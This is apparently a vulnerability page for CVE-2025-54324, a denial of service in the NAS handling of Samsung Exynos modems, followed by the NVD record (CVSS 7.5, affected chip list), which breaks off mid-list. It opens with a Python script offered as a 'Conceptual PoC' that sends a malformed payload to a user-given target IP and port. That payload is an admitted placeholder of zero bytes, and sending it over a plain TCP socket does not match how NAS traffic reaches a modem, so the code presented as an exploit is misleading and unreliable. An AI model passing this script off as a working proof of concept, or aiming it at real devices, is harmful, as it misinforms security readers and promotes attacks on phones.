CVE-2025-54324

#!/usr/bin/env python3 """ Conceptual PoC for CVE-2025-54324 (Samsung Exynos NAS DoS) Note: Actual packet crafting requires specific NAS protocol implementation. This script demonstrates the network transmission logic. """ import socket import sys def send_malformed_nas_packet(target_ip, target_port): # Placeholder for a malformed DL NAS Transport packet # In a real scenario, this byte stream would contain specific # NAS protocol fields that trigger the parsing error. malformed_payload = b"\x05\x01\x00\x0a" + b"\x00" * 20 try: print(f"[*] Sending payload to {target_ip}:{target_port}...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) sock.send(malformed_payload) print("[+] Payload sent successfully.") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 poc.py <target_ip> <target_port>") sys.exit(1) send_malformed_nas_packet(sys.argv[1], int(sys.argv[2]))

{"cve": {"id": "CVE-2025-54324", "sourceIdentifier": "[email protected]", "published": "2026-04-06T19:16:26.023", "lastModified": "2026-04-07T16:08:57.723", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in NAS in Samsung Mobile Processor, Wearable Processor, and Modem Exynos 980, 990, 850, 1080, 2100, 1280, 2200, 1330, 1380, 1480, 2400, 1580, 2500, 9110, W920, W930, W1000, Modem 5123, Modem 5300, and Modem 5400. Incorrect Handling of a DL NAS Transport packet leads to a Denial of Service."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_990_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "BCF6C91D-DECE-4630-85FE-C22EF2B9160A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_990:-:*:*:*:*:*:*:*", "matchCriteriaId": "87FE8214-E165-4874-BB5A-3C4298708039"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_980_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "5F18F62E-2012-442E-BE60-6E76325D1824"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_980:-:*:*:*:*:*:*:*", "matchCriteriaId": "0D8701B6-6989-44D1-873A-A1823BFD7CCC"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_850_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "1928760C-4FC4-45B0-84FF-C1105CD1DD2A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_850:-:*:*:*:*:*:*:*", "matchCriteriaId": "BB410A6D-642B-49AE-8B1C-EADA953A84DA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1080_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "43DE4D6F-D662-46F2-93BC-9AE950320BDE"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1080:-:*:*:*:*:*:*:*", "matchCriteriaId": "EE06CD56-8BFD-4208-843A-179E3E6F5C10"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1280_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "BD1A7B09-9031-4E54-A24F-3237C054166B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1280:-:*:*:*:*:*:*:*", "matchCriteriaId": "DFC68046-2F08-40D1-B158-89D8D9263541"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1330_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "C2635646-DD6A-4735-8E01-F45445584832"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1330:-:*:*:*:*:*:*:*", "matchCriteriaId": "AA0F8A58-71B7-4503-A03A-6FB4282D75BD"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1380_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "D381478B-C638-4663-BD71-144BE4B02E46"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1380:-:*:*:*:*:*:*:*", "matchCriteriaId": "61E72146-72FE-4B54-AB79-3C665E7F016C"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1480_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "64897B0D-EBF6-4BEB-BF54-ABCDBFAB45E0"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1480:-:*:*:*:*:*:*:*", "matchCriteriaId": "F3F328B4-0442-4748-B5EE-DD1CEE50D6CF"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1580_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "F3594664-3CE6-4827-ABD4-B5719817F5D5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1580:-:*:*: ... (truncated)